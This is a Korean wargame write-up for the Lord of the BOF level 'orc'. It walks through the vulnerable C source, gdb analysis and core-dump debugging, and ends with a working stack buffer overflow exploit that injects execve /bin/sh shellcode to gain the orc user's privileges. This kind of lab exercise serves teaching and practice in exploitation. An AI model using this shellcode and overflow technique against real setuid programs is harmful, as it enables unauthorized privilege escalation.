LOB goblin => orc
문제
[goblin@localhost goblin]$ cat orc.c
/*
The Lord of the BOF : The Fellowship of the BOF
- orc
- egghunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
[goblin@localhost goblin]$
- 버퍼의 크기는 40
- 인자가 없으면 오류 뱉음
- 환경변수 값을 모두 0으로 바꿈
- 인자의 48번째 바이트는 \xbf 가 아니면 문자열을 출력하고 종료함
- 인자를 버퍼에 옮김
- 버퍼를 출력함
취약점
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
- argv[1] 제한 없음
- 버퍼오버플로우
풀이
이번 문제는 환경변수를 사용할 수 없게 하고 리턴어드레스를 스택으로만 줄 수 있도록 되어 있다.
---Type <return> to continue, or q <return> to quit---
0x80485a4 <main+164>: push 0
0x80485a6 <main+166>: call 0x8048420 <exit>
0x80485ab <main+171>: add %esp,4
0x80485ae <main+174>: mov %esi,%esi
0x80485b0 <main+176>: mov %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>: add %eax,4
0x80485b6 <main+182>: mov %edx,DWORD PTR [%eax]
0x80485b8 <main+184>: push %edx
0x80485b9 <main+185>: lea %eax,[%ebp-40]
0x80485bc <main+188>: push %eax
0x80485bd <main+189>: call 0x8048440 <strcpy>
0x80485c2 <main+194>: add %esp,8
0x80485c5 <main+197>: lea %eax,[%ebp-40]
0x80485c8 <main+200>: push %eax
0x80485c9 <main+201>: push 0x8048659
0x80485ce <main+206>: call 0x8048410 <printf>
0x80485d3 <main+211>: add %esp,8
0x80485d6 <main+214>: leave
0x80485d7 <main+215>: ret
0x80485d8 <main+216>: nop
0x80485d9 <main+217>: nop
0x80485da <main+218>: nop
0x80485db <main+219>: nop
0x80485dc <main+220>: nop
0x80485dd <main+221>: nop
0x80485de <main+222>: nop
0x80485df <main+223>: nop
End of assembler dump.
일단 buffer에 시작 위치는 ebp-40이다. 또한 main+200 지점에서 argv[1]이 버퍼로 옮겨간 것을 확인할 수 있다.
(gdb) b*main+200
Breakpoint 1 at 0x80485c8
(gdb) r `python -c "print 'A'*47 + '\xbf'"`
Starting program: /home/goblin/tmp/orc `python -c "print 'A'*47 + '\xbf'"`
Breakpoint 1, 0x80485c8 in main ()
(gdb) x/wx $ebp-40
0xbffffa90: 0x41414141
(gdb)
버퍼의 시작 지점은 0xbffffa90이다.
익스코드
buffer[40] + sfp[4] + ret 로 구성 되어있는데
shellcode[25] + 'A'[19] + ret(&buffer) 로 익스코드를 짜보았다.
[goblin@localhost tmp]$ ./orc `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' + 'A'*19 + '\x14\xfc\xff\xbf'"`
1픐h//shh/bin??S??째
?AAAAAAAAAAAAAAAAAAA?
Segmentation fault (core dumped)
[goblin@localhost tmp]$ ls
음? 그러한데 Segmentation fault 오류가 난다. 그 이유는 gdb로 분석할 때 와 실제 프로그램이 실행됬을 때 올라가는 프로세스 주소가 다르기 때문이라고 한다. 이렇게 오류가 날 때 ( core dumped )라는 메시지와 함께 뜨면서 코어 파일을 생성해 주는데 오류가 난 시점에 프로세스 정보? 같은거라고 생각하면 될 듯 하다. 이 core파일을 분석해서 제대로 된 쉘코드를 짜야겠다.
[goblin@localhost tmp]$ gdb -q -c core
Core was generated by `./orc 1픐h//shh/bin??S??째
?AAAAAAAAAAAAAAAAAAA??.
Program terminated with signal 11, Segmentation fault.
#0 0xbffffc14 in ?? ()
(gdb)
오류가 난 지점은 ret 값이 0xbffffc14로 내가 넣었던 ret값과 다르게 들어갔다. 저 ret 값을 buffer의 위치로 옳게 수정해주면 될 것 같다.
(gdb) x/100x $esp-500
0xbffff8dc: 0x00000000 0x400139d0 0x00000000 0x00000000
0xbffff8ec: 0x00000000 0x00000000 0x00000000 0x40013a08
0xbffff8fc: 0x40013a00 0x400139d8 0x400139e0 0x400139e8
0xbffff90c: 0x00000000 0x00000000 0x00000000 0x400139f0
0xbffff91c: 0x400139f8 0x00000000 0x00000000 0x400139d0
0xbffff92c: 0x40029b0e 0xbffffa00 0x400081e6 0x40029ad5
0xbffff93c: 0x40029ad5 0x40013868 0x400143e0 0x00004388
0xbffff94c: 0x40013868 0x40029b0e 0xbffffa24 0x400081e6
0xbffff95c: 0x40029ad5 0x40029ad5 0x40013868 0x400143e0
0xbffff96c: 0x0000785c 0x400081e6 0x40029ad5 0x080482f9
0xbffff97c: 0x40013868 0x40013ed0 0x00000021 0x00000075
0xbffff98c: 0x4001ad70 0x00007080 0x40029b0e 0xbffffa68
0xbffff99c: 0x00000000 0x40029ad5 0x40021df0 0x00000708
0xbffff9ac: 0x40021fd0 0x4001ad70 0x400143e0 0x00000003
0xbffff9bc: 0x40014650 0x00000001 0xbffff9dc 0x40021df0
0xbffff9cc: 0x400145e4 0x0d790266 0xbffffa58 0x4002982c
0xbffff9dc: 0x40021df0 0x400143e0 0x400140d4 0x077905a6
0xbffff9ec: 0xbffffa70 0x08048275 0x4001b630 0x400143e0
0xbffff9fc: 0x400143e0 0x40014650 0x00000001 0xbffffa20
0xbffffa0c: 0x08048184 0x400140d4 0x078e530f 0xbffffa9c
0xbffffa1c: 0x080482d0 0x40021ca0 0xbffffa5c 0x4000a7fd
0xbffffa2c: 0x400143d0 0x400146b0 0x00000007 0x4000a74e
0xbffffa3c: 0x401081ec 0x4000ae60 0xbffffb14 0x400143e0
0xbffffa4c: 0x40021df0 0x401088c0 0x4002982c 0x40021df0
0xbffffa5c: 0xbffffa8c 0x4000a970 0xbffffc4c 0xfffffe84
(gdb)
0xbffffa6c: 0x4005d920 0x400143e0 0xbffffa8c 0x40066070
0xbffffa7c: 0x40106980 0x08048659 0xbffffa9c 0x401081ec
0xbffffa8c: 0xbffffac8 0x080485d3 0x08048659 0xbffffaa0
0xbffffa9c: 0x00000018 0x6850c031 0x68732f2f 0x69622f68
0xbffffaac: 0x50e3896e 0x89e18953 0xcd0bb0c2 0x41414180
0xbffffabc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffacc: 0xbffffc14 0x00000000 0xbffffb14 0xbffffb20
0xbffffadc: 0x40013868 0x00000002 0x08048450 0x00000000
0xbffffaec: 0x08048471 0x08048500 0x00000002 0xbffffb14
0xbffffafc: 0x08048390 0x0804860c 0x4000ae60 0xbffffb0c
0xbffffb0c: 0x40013e90 0x00000002 0xbffffc15 0xbffffc1b
0xbffffb1c: 0x00000000 0xbffffc4c 0xbffffc61 0xbffffc7a
0xbffffb2c: 0xbffffc99 0xbffffcbb 0xbffffcc7 0xbffffe8a
0xbffffb3c: 0xbffffea9 0xbffffec5 0xbffffeda 0xbffffef8
0xbffffb4c: 0xbfffff03 0xbfffff1d 0xbfffff2c 0xbfffff34
0xbffffb5c: 0xbfffff3e 0xbfffff4e 0xbfffff5c 0xbfffff6a
0xbffffb6c: 0xbfffff7b 0xbfffff86 0xbfffff98 0xbfffffda
0xbffffb7c: 0xbfffffe2 0x00000000 0x00000003 0x08048034
0xbffffb8c: 0x00000004 0x00000020 0x00000005 0x00000006
0xbffffb9c: 0x00000006 0x00001000 0x00000007 0x40000000
0xbffffbac: 0x00000008 0x00000000 0x00000009 0x08048450
0xbffffbbc: 0x0000000b 0x000001f7 0x0000000c 0x000001f7
0xbffffbcc: 0x0000000d 0x000001f7 0x0000000e 0x000001f7
0xbffffbdc: 0x00000010 0x0f8bfbff 0x0000000f 0xbffffc10
0xbffffbec: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb)
0xbffffaa0 을 보면 내가 넣었던 shellcode의 시작부분이 있는 것을 확인할 수 있다. 저 부분으로 ret값을 변조해주자.
[goblin@localhost goblin]$ ./orc `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' + 'A'*19 + '\xa0\xfa\xff\xbf'"`
1픐h//shh/bin??S??째
?AAAAAAAAAAAAAAAAAAA??
bash$ id
uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)
bash$
성공적으로 orc의 권한을 얻었다.